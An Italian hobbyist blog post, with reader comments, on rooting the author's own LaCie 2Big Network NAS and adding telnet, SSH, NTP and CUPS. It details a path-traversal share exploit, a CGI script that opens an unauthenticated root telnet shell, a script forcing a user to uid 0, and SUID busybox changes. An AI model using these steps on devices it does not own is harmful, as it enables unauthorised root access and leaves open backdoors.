LaCie 2Big Network hack: telnet, openssh, ntpd, cups and more..

Pubblicato il 18 Novembre 2009 da Steppenwolf

Dopo le 3 del mattino, due sole categorie di persone sono al lavoro: le prostitute e i programmatori. [Anonimo].

Informazioni Generali
Hacking
Hacking tramite la creazione di una nuova condivisione
Binari compilati per architettura ARM e file di configurazione per initng e pam
Aggiungere telnet al nas
Installazione di OpenSSH
Persistenza dei privilegi dell’utente
Problemi con su e passwd e personalizzazione del promtp della bash
Installazione di NTP
Installazione di Cups (print server)
Deframmentazione del filesystem del nas (Vedi articolo)
Installazione nfs server in spazio utente (Vedi articolo)
The next generation control (ngc)
Ripristino
Link Utili
Speculazioni
Ringraziamenti

Informazioni Generali

L’obbiettivo di questo post è di aggiungere una shell ssh e il demone ntpd al vostro nas, ma prima di fare ciò è bene capire un po con quale macchina abbiamo a che fare. Il nas LaCie 2Big Network preso come riferimento e su cui è stata eseguita questa procedura ha il firmware ufficiale, distribuito dalla LaCie, aggiornato alla versione 2.2.3.

# cat /proc/cpuinfo

Processor       : ARM926EJ-S rev 0 (v5l)
BogoMIPS        : 266.24
Features        : swp half thumb fastmult edsp
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant     : 0x0
CPU part        : 0x926
CPU revision    : 0
Cache type      : write-back
Cache clean     : cp15 c7 ops
Cache lockdown  : format C
Cache format    : Harvard
I size          : 32768
I assoc         : 1
I line length   : 32
I sets          : 1024
D size          : 32768
D assoc         : 1
D line length   : 32
D sets          : 1024

Hardware        : Feroceon
Revision        : 0000
Serial          : 0000000000000000

# cat /proc/version

Linux version 2.6.22.7 (root@grp-dash) (gcc version 4.2.1) #1 Thu Apr 9 16:07:45 CEST 2009

# free
 	total	used	free	shared	buffers
Mem:	61952	60184	1768	0	7384
Swap:	128376	60184	0	128376
Total:	190328	130144

# df -h

Filesystem	Size	Used	Available	Use%	Mounted on
rootfs  	648.4M	20.2M	595.3M  	3%	/
udev    	648.4M	20.2M	595.3M  	3%	/dev
/dev/md0	7.5M	5.9M	1.2M    	83%	/oldroot
udev            10.0M	0	10.0M           0%	/oldroot/dev
udev	        10.0M	0	10.0M   	0%	/oldroot/dev
none	        30.3M	0	30.3M   	0%	/oldroot/dev/shm
/dev/md1	167.0M	111.3M	47.1M   	70%	/oldroot/var/original
/dev/md2	648.4M	20.2M	595.3M   	3%	/oldroot/snapshots
unionfs	        648.4M	20.2M	595.3M  	3%	/
/dev/md4	930.4G	1.2M	930.4G  	0%	/home

# cat /proc/partitions

major minor  #blocks  name

8     0  976762584 sda
8     1          1 sda1
8     2  975755970 sda2
8     5     128457 sda5
8     6       8001 sda6
8     7       8001 sda7
8     8     176683 sda8
8     9     674698 sda9
8    10       8001 sda10
8    16  976762584 sdb
8    17          1 sdb1
8    18  975755970 sdb2
8    21     128457 sdb5
8    22       8001 sdb6
8    23       8001 sdb7
8    24     176683 sdb8
8    25     674698 sdb9
8    26       8001 sdb10
31    0        512 mtdblock0
9     0       7936 md0
9     1     176576 md1
9     2     674624 md2
9     3     128384 md3
9     4  975755904 md4

# cat /proc/mtd

dev:    size   erasesize  name
mtd0: 00080000 00010000 "cfi_flash_0"

Sinteticamente è un sistema operativo linux con un kernel decisamente datato (sic!) compilato per processori con architettura arm, cpu a 400mhz, 64mb di ram (i nuovi modelli hanno 128 mb di ram) e bootloader uboot. Dalle poche informazioni reperite dal sito ufficiale sembra che sia stato usato per costruire il sistema scratcbox e per avviare i servizi e i demoni hanno usato initng al posto di init.d. I problemi che nascono sono molteplici: il reperimento del software già compilato per il sistema (a meno di buttarsi a capofitto nel cross-compiling) compatibile con le versioni di libreria utilizzate dal nas e la creazione degli script di avvio per initng. Anche gli script per initng trovati in rete devono essere modificati un po per farli funzionare sul sistema, dato che gli sviluppatori non hanno rispettato pienamente le specifiche di initng, inserendo tutti gli script *.i nella cartella /etc/initng/ senza effettuare la suddivisione in sottocartelle (deamon per i demoni, net per i servizi di rete, ecc.)

Hacking

Premessa: Non mi assumo alcuna responsabilità qualora, in seguito alle modifiche effettuate, il vostro sistema smettesse di funzionare correttamente. Vi ricordo, inoltre, che ogni modifica hardware o software al sistema comporta la perdita della garanzia da parte del produttore.
L’accesso al sistema è fondamentale per poter aggiungere al nostro nas uno script bash che esegue dei comandi a nostro piacimento (webshell) o preferibilmente uno script ad hoc per avviare il servizio telnet ed avere una console di root remota.
Ci sono diversi modi per “bucare” il vostro nas, infatti a seconda dei servizi avviati sulla macchina la sicurezza di questo oggetto va decisamente a farsi benedire. Un modo molto semplice per avere accesso al sistema senza smontare fisicamente i dischi è creare una nuova condivisione con un percorso particolare. (vedi più sotto) Avrete così un accesso a tutto il sistema e con i privilegi di amministratore dato che il webserver del nas possiede i diritti di root.

La controparte di questo hacking è che al riavvio della macchina, la condivisione creata viene cambiata dal sistema (meccanismo di protezione??) e rediretta nella vostra condivisione principale, obbligandovi a dover riapplicare la ‘patch’ ogni qualvolta sentite l’esigenza di accedere al vostro sistema linux. Anche la rimozione della nuova condivisione è da eseguire con estrema attenzione. Il mio suggerimento è di rimuovere questa condivisione una volta che si è uppato sul nas il demone telnet e il suo file di avvio (vedi sotto).

Hacking tramite la creazione di una nuova condivisione

Create una nuova condivisione sul vostro nas di nome “Hack”. La path della condivisione non è importante ciò che importa è che abilitiate almeno la condivisione http.
Salvare la configurazione xml del vostro nas sul disco (Sistema->Manutenzione->Salva configurazione)
Fare una copia di backup del file appena salvato (Fatelo! Vi servirà più avanti per rimettere le cose in ordine).
Editare il file di configurazione xml scaricato modificando la path della condivisione “Hack” come da figura:

edconf.xml

Tenete conto le righe del codice xml del vostro file possono differire dall’immagine qui sopra riportata, in relazione al numero di condivisioni della vostra macchina, dagli utenti e dai gruppi.

Salvare le modifiche e uppare la nuova configurazione sul nas (Sistema->Manutenzione->Carica la configurazione)
Usate il vostro browser e accedete alle pagina di amministrazione del nas e cliccate su sfoglia per navigare sulla nuova condivisione via web.

La magia viene eseguita dalla riga ../../../../ che impone al sistema di creare una nuova condivisione partendo dalla radice.
Se provate a rimuovere la condivisione “hack” farete danni al vostro sistema, perché insieme alla condivisione rimuoverete anche i file in essa contenuti (quindi il sistema operativo del nas). Un modo indolore per effettuare la rimozione della condivisione è caricare il backup della configurazione del nas effettuato precedentemente (edconf.xml) e solo dopo rimuovere la condivisione ‘hack’ normalmente tramite l’interfaccia web.

Una volta che avete l’accesso al filesystem, per di più con i diritti di root (!), potrete uppare tutti i file che volete.

Binari compilati per architettura ARM e file di configurazione per initng e pam

Da qui in poi avrete bisogno di questo archivio:

>> LaCie_2Big_Network_[TELNET][NTP][SSH][CUPS].zip (6,79Mb),

contenente tutti i binari e le librerie, compilati per architettura arm, che vi servono per installare sul vostro nas i demoni Telnet, NTP, OpenSSH e Cups.
(link aggiornato in data 19/01/12 🙁 aggiunta protezione hotlink al file)
L’archivio contiene i seguenti file:

cups-1.3.8-r1.tbz2 (1,89Mb), contenente tutti file del servizio di stampa. è incluso nell’archivio anche la libreria libpaper (libpaper-1.1.23.tbz2) richiesta dal cups e non presente nel nas.
cups-1.3.8-r1_(driver).tbz2 (3.74Mb), contenente tutti file ppd presenti nella distribuzione 9.10 di ubuntu. Questo file, ovviamente, non è presente nel sito internet dove ho recuperato i binari compilati per il nas.
cups-1.3.8-r1_(language).tbz2 (419Kb), contenente la traduzione nelle maggiori lingue, italiano compreso, delle pagine html di cups. Questo file non è presente nel sito internet dove ho recuperato i binari compilati per il nas.
ntp-4.2.4_p4.tbz2 (247Kb), contenente i binari e i file di configurazione per il demone ntp
openssh-4.7_p1-r6.tbz2 (490Kb), contenente i binari e i file di configurazione per il demone ssh. L’archivio contiene inoltre le librerie tcp-wrappers (tcp-wrappers-7.6-r8.tbz2) richieste dal demone non presenti nel nas.
usbutils-0.73.tbz2 (86,2Kb). Questo file non è strettamente necessario al nas ne è obbligatorio installarlo per far funzionare cups, tuttavia può essere di aiuto poiché installa l’eseguibile lsusb.
utelnetd.tbz2 (5.7Kb), contenente il demone utelnetd e un file per eseguirlo (vedi paragrafo successivo per maggiori info)

Gli archivi originali li ho recuperati dal sito:
http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/
dove sono presenti molti pacchetti già compilati per i nas della buffalo. Senonché questi pacchetti sono pensati per un sistema che usa inet.d e non initng, per cui ho dovuto crearmi a mano gli scrip di avvio per i demoni sshd, ntpd e cups (rispettivamente /etc/initng/sshd.i, /etc/initng/ntpd.i e /etc/initng/cups.i). Vi posso assicurare che non è stato un bel vedere: la documentazione in merito è alquanto carente e il forum ufficiale del progetto initng è sommerso dallo spam. (Quanto adoro gli spammer 👿 )

Ho voluto lasciare i pacchetti distinti, evitando di fare un unico archivio, in modo da lasciarvi la massima scelta su cosa installare. Da i file ho rimosso i man page e i docs.

Aggiungere telnet al nas

L’archivio utelnetd.tbz2 contiene due file, il demone telnet e un file per lanciarlo e configurare la bash del vostro sistema. Copiate i due file nella cartella /www/cgi-bin/public/ tramite la condivisione creata precedentemente.
EccoVi il contenuto del file telnet.cgi:

#!/bin/sh
echo "Content-type: text/plain"
echo ""

# Settings for root bash shell
HOME='/root'
PATH='/usr/local/bin:/bin:/sbin:/usr/bin:/usr/sbin:.:'
TERM=linux

PS1='\u@\h:\w# '
PS2='> '
PS3='> '
PS4='+ '
export PS1 PS2 PS3 PS4 PATH HOME TERM

# Run telnet daemon
echo utelnetd -l /bin/bash
eval utelnetd -l /bin/bash

Potete lanciare il vostro demone telnet da un browser web all’indirizzo:

http://indirizzo_nas/cgi-bin/public/telnet.cgi

Se la pagina rimane bianca e in caricamento infinito non preoccupatevi, lanciate ugualmente il vostro client telnet sull’indirizzo del nas e godetevi la vostra console di root senza login. (evviva sicurezza!)
Una volta che si possiede una console a tutti gli effetti si può anche pensare di fare uno step in avanti con la sicurezza installando openssh.

Installazione di OpenSSH

Copiate l’archivio openssh-4.7_p1-r6[modificato].tbz2 nella vostra cartella condivisa del nas.
Dalla console di telnet eseguite:

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvjf openssh-4.7_p1-r6.tbz2 -C /
# rm openssh-4.7_p1-r6.tbz2
# cd /etc/initng/runlevel/
# echo sshd >> default.runlevel
# touch /var/log/lastlog

Al primo avvio del nas dopo l’installazione dello ssh sarà, per una sola volta, più lento, la causa è la creazione automatica dei file:

ssh_host_dsa_key
ssh_host_dsa_key.pub
ssh_host_key
ssh_host_key.pub
ssh_host_rsa_key
ssh_host_rsa_key.pub

obbligatori per il funzionamento del demone ssh stesso (cartella /etc/ssh/).

Eccovi il file di configurazione (sshd.i), incluso nell’archivio, per initng per il demone sshd:

#!/sbin/itype

# NAME: OpenSSH
# DESCRIPTION: The standard Linux SSH server
# WWW: http://www.openssh.com/

service sshd/generate_keys {
	env KEYGEN=/usr/bin/ssh-keygen;
	env RSA1_KEY=/etc/ssh/ssh_host_key;
	env RSA_KEY=/etc/ssh/ssh_host_rsa_key;
	env DSA_KEY=/etc/ssh/ssh_host_dsa_key;
	script start = {
		[ ! -s ${RSA1_KEY} ] && \
			${KEYGEN} -q -t rsa1 -f ${RSA1_KEY} -C '' -N '' 2>&1
		if [ ! -s ${RSA_KEY} ] ; then
			${KEYGEN} -q -t rsa -f ${RSA_KEY} -C '' -N '' 2>&1
			chmod 600 ${RSA_KEY}
			chmod 644 ${RSA_KEY}.pub
		fi
		if [ ! -s ${DSA_KEY} ] ; then
			${KEYGEN} -q -t dsa -f ${DSA_KEY} -C '' -N '' 2>&1
			chmod 600 ${DSA_KEY}
			chmod 644 ${DSA_KEY}.pub
		fi
	}
}

daemon sshd {
	need = bootmisc virtual/net mountfs;
	pid_file = /var/run/sshd.pid;
	need = sshd/generate_keys;
	exec daemon = /usr/sbin/sshd -D;
	daemon_stops_badly;
	respawn;
}

Altro problema sono le pam, anche qui, il file presente nell’archivio originale non funziona e ho dovuto editarlo a mano. Eccovi il suo nuovo contenuto:

#%PAM-1.0

auth        required     pam_unix.so
account     required     pam_unix.so
password    required     pam_unix.so
session     required     pam_unix.so

Modificatelo a vostra discrezione (file /etc/pam.d/sshd).

Persistenza dei privilegi dell’utente

I problemi tuttavia non finiscono qui. Ad ogni riavvio della macchina il file /etc/passwd e /etc/shadow vengono sovrascritti. In particolare ogni nuovo utente creato tramite l’interfaccia web del nas non ha il diritto di loggarsi alla console remota del nas. Es:

admin:x:500:100::/home:/bin/false

Il /bin/false è il nostro problema! Per ovviare alla situazione ho creato un servizio per initng, chiamato personal, che permette di ripristinare i privilegi di un account:

#!/sbin/itype
#
# Cambiate la riga user="utente" inserendo a posto di 'utente' il nome dell'utente da voi creato

service personal {
	need = edconfd/ready;
	last;
	script start = {
		user="utente"
		PASSWD="$user:x:0:0::/root:/bin/bash"

		if [ "x`cat /etc/passwd | grep $user`" == "x" ]; then
			echo $PASSWD >> /etc/passwd
			echo "Insert user $user done" >&2
		else
			LINE="`cat /etc/passwd | grep $user`"
			if [ "$LINE" != "$PASSWD" ]; then
				sed -i "s#${LINE}#${PASSWD}#g" /etc/passwd
				echo "User $user restored" >&2
			fi
		fi
		exit 0
	};
}

Si presuppone che l’utente sia stato creato precedentemente tramite l’interfaccia web del nas.

L’unica modifica richiesta è cambiare la stringa user="utente", inserendo al posto di utente il nome dello user che avete creato. L’esecuzione dello script comporta la modifica dei privilegi dell’utente (che diventerà un alter ego del root) e la possibilità di effettuare il login remoto nella shell ssh.
Il file non è presente in alcun archivio, ma è possibile scaricarlo qui:

personal.i (prima versione)
personal2.i (versione per i più smaliziati)

Per avviare automaticamente al boot del nas lo script copiare il file personal.i nella cartella /etc/initng/, ed eseguire:

# cd /etc/initng/runlevel/
# echo personal >> default.runlevel

Una volta che lo script è stato aggiunto potete finalmente eliminare il vostro demone telnet e il suo file di avvio dalla cartella /www/cgi-bin/public/. Per scaramanzia vi consiglio di riavviare la macchina e accertarvi che tutto funzioni come si ci aspetti prima di rimuovere i due file.

Problemi con su e passwd e personalizzazione del promtp della bash

Quando gli sviluppatori della LaCie hanno compilato il sistema hanno tralasciato, penso volutamente, qualcosa…
Loggatevi come root al nas ed eseguite (ricordo che l’accesso telnet che avete è di root):

# vi /etc/busybox.conf

Inserite queste linee, salvate il file e uscite dall’editor

[SUID]
passwd = ssx 0.0
su = ssx root.0

Dalla console, sempre con l’account di root, eseguite questi comandi:

# chown 0.0 /etc/busybox.conf
# chmod 600 /etc/busybox.conf
# chown 0.0 /bin/busybox
# chmod 4755 /bin/busybox

I problemi con su e passwd sono finiti.

Se volete il promt della bash esteso vi consiglio di editare il file /etc/profile.bash cambiando la riga:

PS1='[\u@\h \W]\$ '

PS1='[\u@\h \w]\$ '

Installazione di NTP

Copiate l’archivio ntp-4.2.4_p4.tbz2 (247Kb) nella vostra cartella condivisa del nas.
Dalla console, con i privilegi di root attivi, eseguite:

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvjf ntp-4.2.4_p4.tbz2 -C /
# rm -r ntp-4.2.4_p4.tbz2
# cd /etc/initng/runlevel/
# echo ntpd >> default.runlevel

Questo qui è il file di configurazione, incluso nell’archivio, per initng per il demone ntpd:

#!/sbin/itype

daemon ntpd {
	env NTPD_PID = /var/run/ntpd.pid;
	need = bootmisc virtual/net;
	require_network;
	exec daemon = /usr/sbin/ntpd -c /etc/ntp.conf -p ${NTPD_PID};
	forks;
	pid_file = ${NTPD_PID};
	respawn;
}

Non dimenticatevi di configurare correttamente il vostro fuso orario. Potete farlo dalla pagina web di configurazione “system” del vostro nas. Per finire riavviate il nas.

Installazione di Cups (print server)

Copiate l’archivio cups-1.3.8-r1.tbz2 (1.89Mb) nella vostra cartella condivisa del nas.

Dalla console, con i privilegi di root attivi, eseguite:

# cd /home/share/nome_cartella_della_vostra_condivisione
# tar -xvjf cups-1.3.8-r1.tbz2 -C /
# rm -r cups-1.3.8-r1.tbz2
# cd /etc/initng/runlevel/
# echo cupsd >> default.runlevel

Aprite l’interfaccia web del nas e cliccate su GRUPPI e poi aggiungi, e create un nuovo gruppo con il nome “lpadmin” e aggiungete al gruppo l’utente che avete creato precedentemente per accedere al nas in ssh.

# vi /etc/sysconfig/modules

Aggiungete la riga usblp, come da figura e salvate.

File /etc/sysconfig/modules

L’ultimo passaggio impone al sistema di caricare automaticamente all’avvio il modulo che supporta la stampa su porta usb.
Vi ricordo che i comandi per modificare un file con l’editor vi sono “i” per inserire nuovo testo e “ESC”+”:wq” per salvare e uscire.

Eccovi il file di configurazione, incluso nell’archivio, per avviare automaticamente il demone cups tramite initng:

#!/sbin/itype

# NAME: CUPS
# DESCRIPTION: The Common Unix Printing System
# WWW: http://www.cups.org

daemon cupsd {
	need = bootmisc dbus virtual/net avahi;
	require_network;
	exec daemon = /usr/sbin/cupsd -F -c /etc/cups/cupsd.conf;
}

Dovete, inoltre, modificare il file /etc/cups/cupsd.conf per permettere l’amministrazione remota del cups, altrimenti inattiva. Come aiuto vi riporto il mio file di configurazione. Per un ulteriore aiuto su come configurare il cups vi rimando al sito internet ufficiale www.cups.org.

Anche per il cups ho dovuto editare a mano il file pam. Eccovi il suo nuovo contenuto:

#%PAM-1.0

auth        required     pam_unix.so
account     required     pam_unix.so

Modificatelo a vostra discrezione (file /etc/pam.d/cups).

Una volta riavviata la macchina, il cups sarà in esecuzione e raggiungibile all’indirizzo del vostro nas alla porta 631:

https://indirizzo_nas:631

I file cups-1.3.8-r1_(driver).tbz2 e cups-1.3.8-r1_(launguage).tbz2, sono opzionali e contengono i driver e la traduzione dell’interfaccia web, installarli o meno è una vostra scelta. Potete anche installare solo la lingua italiana rimuovendo dall’archivio cups-1.3.8-r1_(launguage).tbz2 le cartelle delle lingue che non desiderate, lo stesso dicasi per il file con i driver.

Per poter stampare in formato raw (output pre formattato) dovete togliere il commento alla linea seguente dal file /etc/cups/mime.convs:

application/octet-stream application/vnd.cups-raw 0 -

Assicuratevi che non sia commentata anche la linea seguente del file /etc/cups/mime.types:

application/octet-stream

In linux la stampante sarà rintracciabile all’indirizzo (fate attenzione alle volte non c’è bisogno di indicare il numero di porta):

ipp://indirizzo_nas:631/printers/nome_stampante

Es:

ipp://192.168.1.100:631/printers/ML-3050

In windows xp cliccate su “Aggiungi stampante” e per aggiungere una nuova stampante di rete e selezionate “Stampante in Internet o della rete domestica o aziendale” e usate l’URL:

http://indirizzo_nas:631/printers/nome_stampante

Selezionate, infine, il driver per la vostra stampante.
Una piccola precisazione, il samba del nas non è stato compilato con il supporto per il cups. (libcups.so.2)

The next generation control (ngc)

# ngc -H
 initNGControl (0.6.10.2 ) by Jimmy Wennlund http://www.initng.org/

 ngc understand this commands:
 short Option                          : description
 ----------------------------------------------------------
 [-h] --help                           : Print what commands you can send to initng.
 [-H] --help_all                       : Print out verbose list of all commands.
 [-s] --status <opt>                   : Print all services.
 [-O] --options <opt>                  : Print out option_db.
 [-u] --start opt                      : Start service.
 [-d] --stop opt                       : Stop service.
 [-t] --states <opt>                   : Print out all possible states.
 [-I] --list_filedescriptors <opt>     : Print all open filedescriptors initng have.
 [-P] --print_service_db <opt>         : Print service_db
 [-p] --print_active_db <opt>          : Print active_db
 [-v] --verbose                        : Toggle the verbose flag - ONLY FOR DEBUGGING
 [-i] --add_verbose opt                : Add string to watch for to make initng verbose - ONLY FOR DEBUGGING
 [-k] --del_verbose opt                : Del string to watch for to make initng verbose - ONLY FOR DEBUGGING
 [-c] --hot_reload                     : Fast Reload
 [-g] --get_pid_of opt                 : Get pid of service
 [-j] --restart_from opt               : Stop all services, and start from
 [-z] --zap <opt>                      : Resets a failed service, so it can be restarted.
 [-r] --restart opt                    : Restart service
 [-T] --time opt                       : Print uptime
 [-f] --father opt                     : Print father to
 [-R] --reload_service <opt>           : Reload service data from disk ( reparse /etc/initng )
 [-6] --reboot                         : Reboot the computer
 [-0] --poweroff                       : Power off the computer
 [-1] --halt                           : Halt the computer
 [-m] --print_plugins                  : Print loaded plugins
 [-o] --load_module opt                : Load Module
 [-n] --done                           : Prints percent of system up
 [-a] --service_dep_on opt             : Print what services me depends on
 [-A] --service_dep_on_deep opt        : Print what services me depends on deep
 [-b] --service_dep_on_me opt          : Print what dependencies that are depending on me
 [-B] --service_dep_on_me_deep opt     : Print what dependencies that are depending on me deep
 [-U] --run opt                        : Simply run an exec with specified name, example ngc --run service/test:start
 [-y] --stop_unneeded                  : Stop all services, not in runlevel

Ripristino

È possibile ripristinare il filesystem del nas allo stato precedente le modifiche effettuando l’aggiornamento del firmware, anche con la stessa versione installata sul nas, nel mio caso 2.2.3, usando l’utility messa a disposizione dalla LaCie stessa. Tuttavia non è possibile effettuare tale operazione se il nas risulta non essere più visibile in rete, infatti l’utility non esegue il processo di aggiornamento se non vede precedentemente il nas.

Procedura di reset ufficiale fornita da LaCie

Portare l’interruttore dell’unità su OFF.. Dopo lo spegnimento, assicurarsi che l’interruttore rimanga in posizione OFF.
Se l’unità si trova in modalità SAFE, spostare lo switch RAID in modalità BIG.
PREMERE A LUNGO il pulsante frontale. SPOSTARE l’interruttore di accensione in posizione ON . Il LED sul lato frontale dell’unità inizia a lampeggiare.
Quando il LED smette di lampeggiare, RILASCIARE il pulsante frontale.
Una volta rilasciato, il LED inizia a LAMPEGGIARE DI NUOVO. Quando smette, PREMERE A LUNGO il pulsante frontale. Il LED ricomincia a lampeggiare.
Quando il LED smette di lampeggiare, RILASCIARE il pulsante. L’unità esegue il reset.
Una volta che il reset è stato eseguito l’unità si riavvierà automaticamente.
Se necessario, riportare il selettore RAID su SAFE.
Per recuperare eventuali dati persi durante il processo, si devono ricreare le condivisioni presenti sull’unità prima del reset. Eventuali aggiornamenti del firmware dovranno essere applicati di nuovo.
La procedura di reset è parecchio noiosa da eseguire, infatti solo al quarto tentativo il nas si è resettato correttamente, quindi vi consiglio di avere molta pasienza.

Link Utili

uboot
scratcbox
buildroot
www.initng.org, vedi preferibilmente http://gitorious.org/initng/.
Lacie NAS-Central
General NAS-Central Forums
http://downloads.buffalo.nas-central.org/LSPro_ARM9/Distributions/Genlink/Binaries/armv5tejl-softfloat-linux-gnueabi/
(binari compilati per architettura arm)
LaCie (pagina di supporto)
LaCie GPL
www.cups.org, Common UNIX Printing System.

Speculazioni

Un idea molto interessante che mi è venuta in mente è di modificare il raid del nas. In particolare, usare gli hard disk esterni, agganciabili alle porte del usb, come parte integrante del raid usando il raid 5 o aggiungere un hd esterno da usare come spare in caso di guasto. Non ho compiuto alcuna prova in merito, principalmente per mancanza di hd, ma se qualcuno ha avuto la stessa mia idea e ci sta provando mi faccia sapere qualcosa. 🙂

Aggiornamento del kernel (?!?)

Ringraziamenti

Ringrazio gli utenti del forum “General NAS-Central Forums”, che con i loro utili post hanno permesso la stesura di questo articolo e soprattutto di bucare il mio nas. 🙂

http://hostname:631/printers/RawPrinterQueueName

130 pensieri su “LaCie 2Big Network hack: telnet, openssh, ntpd, cups and more..”

george il 20 Novembre 2009 alle 13:11 scrive:

I just wanted to say thanks for this, as on 2big Network II (the new boxes) some of the older tricks don’t work (the cgi exploit to begin with!).

in my case I had to an old box (v1) that collapsed, leaving the drives inaccessible.

that involved getting a new box, copying four of the partitions from one of the new drives to one of the old ones, adding in your telnet hack, booting from the old drive, and hacking in.

very, very elegant.

i’ll leave this for reference, in case anyone else needs to rescue their data:

the OS is multiple RAID 1 partitions (presumably so you can hot-swap the drives), and the user data is a Linear, RAID 0, or RAID 1 array from /dev/sda2 and /dev/sdb2, with UUID stored in EEPROM on the board. the user data is assembled at /dev/md4 and mounted at /home

the partitions: 2=data, 5=swap, 7=boot, 8=root, 9=snap (config)
the raid arrays: /md0=boot, /md1=root, /md2=snap, /md3=swap, /md4=data

to get the UUID of the RAID you want to “plant” back:
mdadm --examine /dev/sda2

to get the UUID stored in EEPROM
/sbin/md_eeprog -g /dev/md4

to set the UUID to new one
/sbin/md_eeprog -s {UUID} /dev/md4

for other research for system surgery look in: sbin/lib/lacie/libraid

I don’t know what LaCie’s engineers were thinking… they’ve missed a really important design feature – being able to pull the drives and use them in another box without fuss.
george il 20 Novembre 2009 alle 14:15 scrive:

p.s. to clarify, the user data raid (/dev/md4) is constructed automatically based on UUID:

mdadm --assemble /dev/md4 -u {uuid_from_eeprom}

so drives could be in any order, etc.
Steppenwolf il 24 Novembre 2009 alle 06:29 scrive:

Thank you George for your intervention, any new information on the NAS is helpful for future hack.
In these days i’m busy with the study… computer networking and database leaves little time even to social life!

I don’t know what LaCie’s engineers were thinking… they’ve missed a really important design feature – being able to pull the drives and use them in another box without fuss.

I think it’s simply a matter of money, because when a hd is broken you have to buy it from LaCie (or at least they wish it to be so).
😉
Massimiliano il 6 Gennaio 2010 alle 07:56 scrive:

Grazie per questo utile articolo. Proverò nei prossimi giorni a metterci su git. Tu hai qualche suggerimento?

Ciao, ancora una cosa, forse sto sbagliando ma non riesco a capire come accedere con il browser alle cartelle condivise…
Steppenwolf il 7 Gennaio 2010 alle 05:26 scrive:

Hai eseguito i passaggi descritti nel paragrafo “hacking tramite la creazione di una nuova condivisione” ?
Spiega meglio in quale passaggio non ti trovi e cercherò di darti maggiore aiuto.
Te li ripropongo numerati:

1) Create una nuova condivisione sul vostro nas di nome “Hack”. La path della condivisione non è importante ciò che importa è che abilitiate almeno la condivisione http.
2) Salvare la configurazione xml del vostro nas sul disco (Sistema->Manutenzione->Salva configurazione)
3) Fare una copia di backup del file appena salvato (Fatelo! Vi servirà più avanti per rimettere le cose in ordine).
4) Editare il file di configurazione xml scaricato modificando la path della condivisione “Hack” come da figura:
(vedi la linea rossa della figura)
5) Salvare le modifiche e uppare la nuova configurazione sul nas (Sistema->Manutenzione->Carica la configurazione)
6) Usate il vostro browser e accedete alle pagina di amministrazione del nas e cliccate su sfoglia per navigare sulla nuova condivisione via web.

Con la versione del firmware 2.2.3 l’hack funziona egregiamente e che io sappia non sono uscite nuove versioni del firmware che correggono questo exploit. Anche se george dice, nel suo commento, che nella nuova versione del nas alcuni exploit non funzionano più:

… as on 2big Network II (the new boxes) some of the older tricks don’t work (the cgi exploit to begin with!).

Ad ogni modo ricorda che c’è sempre l’altra opzione, quella di estrarre gli hd del nas e inserirli nel proprio pc con linux e mdadm installato e inserire i file degli archivi a mano.
Il comando mdadm --assemble --scan assemblerà le partizioni raid in automatico.
La partizione che ti interessa dove mettere i file è quella da 648Mb circa. Però presta molta attenzione a quello che fai se commetti errori ti trovi con una scatola inutile in mano…
Massimiliano il 7 Gennaio 2010 alle 10:35 scrive:

Ciao,

mi spiego meglio.
Ho fatto tutti i passaggi e riesco tranquillamente ad accedere come root tramite telnet. Ottimo!
Ho scaricato il pacchetto git e l’ho installato e funziona senza problemi dando i comandi direttamente sull’hd.
I problemi nascono con i servizi. Non riesco a configurare initng. Nel dettaglio, git per funzionare come servizio vuole in esecuzione git-daemon. Se lo lancio manualmente non come servizio funziona. Quindi ho creato un file che si chiama git.i in /etc/initng con il seguente contenuto:

#!/sbin/itype
daemon git { need = bootmisc virtual/net samba/smbd; require_network; exec daemon = /usr/bin/git-daemon --export-all; }

il servizio non parte in automatico... se cerco di farlo partire a mano con il comando:

ngstart /etc/initng/git.i mi dice di eseguire ngc -z ...

lo faccio e dice Command NEGATIVE

poi edito il file git.i cambio il nome del servizio e con lo stesso comando di prima parte.... ma al boot non parte mai.
Non trovo documentazione chiara su initng, puoi aiutarmi con questo file?

PS i link in qusta pagina di personal.i e personal2.i non funzionano.

Grazie.

Steppenwolf edit: ho modificato il tuo commento apportando la tua correzione allo script di avvio di git.
Steppenwolf il 7 Gennaio 2010 alle 15:35 scrive:

per avviare un servizio in automatico con initng devi aggiungerlo
alla lista dei servizi che si trova nella cartella /etc/initng/runlevel/, file default.runlevel

Quindi nel tuo caso:

cd /etc/initng/runlevel/ echo git >> default.runlevel

Spero di averti dato le indicazioni che cercavi. Fammi sapere.

Ti ringrazio per avermi informato dei link, era un problema noto di wordpress, spero di aver risolto una volta per tutte. 🙂
Massimiliano il 7 Gennaio 2010 alle 23:19 scrive:

si, avevo fatto questi passi, ma non funzionava. Praticamente avevo commesso un errore e cioè i servizi si chiamavano in modo differente. nel file git.i avevo messo git-daemon mentre in default.runlevel solo git.

Per ora è tutto, adesso devo provare ssh. Ti faccio sapere. Il server git funziona bene!
Steppenwolf il 8 Gennaio 2010 alle 03:11 scrive:

Ottimo. Scusa se non ti sono stato troppo di aiuto ma al momento non ho il nas sottomano quindi vado a memoria 😛
In tutta sincerità mi era sfuggito il tuo errore. Di documentazione chiara su initng non ne ho trovata neanche io, il software non è mai stato rilasciato in una versione stabile, di fatto è una beta. Viene da chiedersi perché LaCie ha adottato initng..

Ci sono un po di file di configurazione dei servizi per initng a questo indirizzo:
nohttp://dieter-ferdinand.homelinux.org/
una volta aperto il link clicca su “Download Scripte und Programmquellcode und Konfigurationsdateien”
poi su “etc” e infine su “initng”. Non ti do il link già pronto perché è inutile: il sito internet di questa persona blocca l’hot-linking, quindi il tuo browser non caricherebbe la pagina.
Attenzione che quei file possono servire come guida di riferimento ma sul nas la configurazione è diversa quindi non ci devi fare troppo affidamento. Ad ogni modo non ci trovi un file di configurazione per git (ci ho dato un occhiata subito).
Aggiornamento: Il tipo ha tolto tutto dal suo sito. (!!)

Per farti un idea delle diversità guarda il file di configurazione per sshd standard e il mio. Es:

Standard daemon daemon/sshd { ...
Mio daemon sshd {...
Il daemon in grassetto indica la cartella dove è contenuto il file sshd.i (/etc/initng/daemon/), nel nas la cartella daemon non esiste, tutti di file di configurazione dei servizi e demoni di sistema, servizi di rete e servizi non essenziali sono tutti inseriti nella stessa cartella (/etc/initng/).
Senza documentazione questa cosa l’ho capita a tentativi.

